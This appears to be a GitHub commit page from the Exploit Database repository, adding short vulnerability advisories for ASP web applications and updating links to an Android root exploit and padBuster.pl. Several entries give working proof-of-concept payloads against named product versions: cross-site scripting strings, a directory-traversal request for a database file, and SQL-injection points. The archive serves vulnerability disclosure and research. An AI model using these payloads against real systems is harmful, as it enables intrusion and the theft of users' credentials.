Visitar URL original
Merge pull request #4 from offensive-security/master · offensive-security/exploitdb@8997d65 · GitHub
Skip to content
This repository was archived by the owner on Nov 28, 2022. It is now read-only.

Commit 8997d65

Browse files
tennctennc
committed
Merge pull request #4 from offensive-security/master
syn exploit-database
2 parents f958d04 + 68ad4ca commit 8997d65

1,758 files changed

Lines changed: 29412 additions & 1848 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎files.csv‎

Lines changed: 608 additions & 17 deletions
Large diffs are not rendered by default.

‎platforms/android/local/9477.txt‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
Source for exploiting CVE-2009-2692 on Android; Hole is closed in Android kernels released August 2009 or later.
22

33
orig: http://zenthought.org/content/file/android-root-2009-08-16-source
4-
back: http://www.exploit-db.com/sploits/android-root-20090816.tar.gz
4+
back: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/android-root-20090816.tar.gz
55

66
# milw0rm.com [2009-08-18]

‎platforms/asp/remote/15213.pl‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
# Note from Exploit-db: This very first exploit was meant to work with Padbusterdornet or Padbuster v0.2.
1111
# A similar exploitation vector was also added lately in Padbuster v0.3:
1212
# http://www.gdssecurity.com/l/b/2010/10/04/padbuster-v0-3-and-the-net-padding-oracle-attack/
13-
# http://www.exploit-db.com/sploits/padBuster.pl
13+
# https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/padBuster.pl
1414
#
1515
#
1616
# Giorgio Fedon - (giorgio.fedon@mindedsecurity.com)

‎platforms/asp/webapps/36284.txt‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
source: http://www.securityfocus.com/bid/50512/info
2+
3+
CmyDocument is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
4+
5+
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
POST http://www.example.com/login.asp
8+
username="><script>alert(&#039;demonalex&#039;)</script>&password=bbb&rememberme=a&submit=+++Login+++
9+
10+
POST http://www.example.com/login2.asp
11+
username="><script>alert(&#039;demonalex&#039;)</script>&password=bbb&rememberme=a&submit=+++Login+++
12+
13+
http://www.example.com/myDoclist.asp?x_Title=a&z_Title=LIKE&x_Revised=<SCRIPT>alert("demonalex");</SCRIPT>&z_Revised==&x_KeyWords=info&z_KeyWords=LIKE&x_owner=a&z_owner=LIKE
14+
15+
http://www.example.com/myWebDoclist.asp?x_Title=b&z_Title=LIKE&x_Revised=<SCRIPT>alert("demonalex");</SCRIPT>&z_Revised==&x_KeyWords=test&z_KeyWords=LIKE&x_owner=a&z_owner=LIKE
16+

‎platforms/asp/webapps/36375.txt‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
source: http://www.securityfocus.com/bid/50841/info
2+
3+
Virtual Vertex Muster is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.
4+
5+
Exploiting this issue will allow an attacker to view arbitrary files within the context of the webserver. Information harvested may aid in launching further attacks.
6+
7+
Virtual Vertex Muster 6.1.6 is vulnerable; other versions may also be affected.
8+
9+
The following example request is available:
10+
11+
GET /a\..\..\muster.db HTTP/1.1

‎platforms/asp/webapps/36402.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/50878/info
2+
3+
Hero is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
4+
5+
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
Hero 3.69 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/hero_os/events?month=January.htaccess.aspx%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

‎platforms/asp/webapps/36515.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/51316/info
2+
3+
DIGIT CMS is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
4+
5+
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
DIGIT CMS 1.0.7 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/path/Default.asp?sType=0&PageId=[Sqli]

‎platforms/asp/webapps/36547.txt‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
source: http://www.securityfocus.com/bid/51401/info
2+
3+
MailEnable is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
4+
5+
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
The following MailEnable versions are vulnerable:
8+
Professional, Enterprise, and Premium 4.26 and prior versions
9+
Professional, Enterprise, and Premium 5.52 and prior versions
10+
Professional, Enterprise, and Premium 6.02 and prior versions
11+
12+
http://example.com/mewebmail/Mondo/lang/sys/ForgottenPassword.aspx?Username=[xss]

‎platforms/asp/webapps/36585.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/51596/info
2+
3+
Snitz Forums 2000 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
http://www.example.com/forum.asp?TOPIC_ID=[SQL]

‎platforms/asp/webapps/36588.txt‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
source: http://www.securityfocus.com/bid/51608/info
2+
3+
Acidcat ASP CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
4+
5+
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
Acidcat ASP CMS 3.5.1 and 3.5.2 are vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/admin/admin_colors.asp?"><script>alert('XSS')</script>
10+
11+
http://www.example.com/admin/admin_config.asp?"><script>alert('XSS')</script>
12+
13+
http://www.example.com/admin/admin_cat_add.asp?"><script>alert('XSS')</script>

0 commit comments

Comments
 (0)